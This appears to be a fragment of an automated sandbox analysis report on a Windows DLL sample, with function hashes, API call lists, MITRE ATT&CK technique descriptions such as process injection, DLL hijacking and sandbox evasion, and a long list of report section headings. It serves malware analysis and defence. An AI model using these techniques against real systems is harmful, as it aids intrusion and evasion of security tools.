API ID: Heap$FreeProcess
String ID:
API String ID: 3859560861-0
Opcode ID: 7fe9611ee3ff6a803d6945a04d084b373cc0d025802a641c51381ee44747ff0d
Instruction ID: a9b416e7872a1791a5e6f9a35ff9ec2b7bf2c799e16d52d94cb31ebb67142d15
Opcode Fuzzy Hash: 7fe9611ee3ff6a803d6945a04d084b373cc0d025802a641c51381ee44747ff0d
Instruction Fuzzy Hash: E1110D3AA19F82C2D714AF56F940069B365FF49BC4B589135EB9D23B28DF3CD4A28310

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF70D701F60, Relevance: 5.0, APIs: 4, Instructions: 40memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00007FF70D701F89
GetProcessHeap.KERNEL32 ref: 00007FF70D701F96
HeapAlloc.KERNEL32 ref: 00007FF70D701FA4
lstrcpyA.KERNEL32 ref: 00007FF70D701FB8

Memory Dump Source

Source File: 0000001D.00000002.454840253.00007FF70D6E0000.00000040.00000001.sdmp, Offset: 00007FF70D6E0000, based on PE: true

Similarity

API ID: Heap$AllocProcesslstrcpylstrlen
String ID:
API String ID: 2988581199-0
Opcode ID: 201bf1986886133b544de737f59c777ac7e2de8a2f629b2ffeed569aa008d294
Instruction ID: 18bd22653c4e4b31ecc325cae7bc753aae72c4ed25a7609daca8483c2a951f40
Opcode Fuzzy Hash: 201bf1986886133b544de737f59c777ac7e2de8a2f629b2ffeed569aa008d294
Instruction Fuzzy Hash: 58012D66A0AB4682EA05DF26FD00129B2A5FF4CF84B989234EE4D83754FF3CE1518310

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report TWsmIoYqC6.dll

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Sigma Overview

System Summary:

Jbx Signature Overview

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre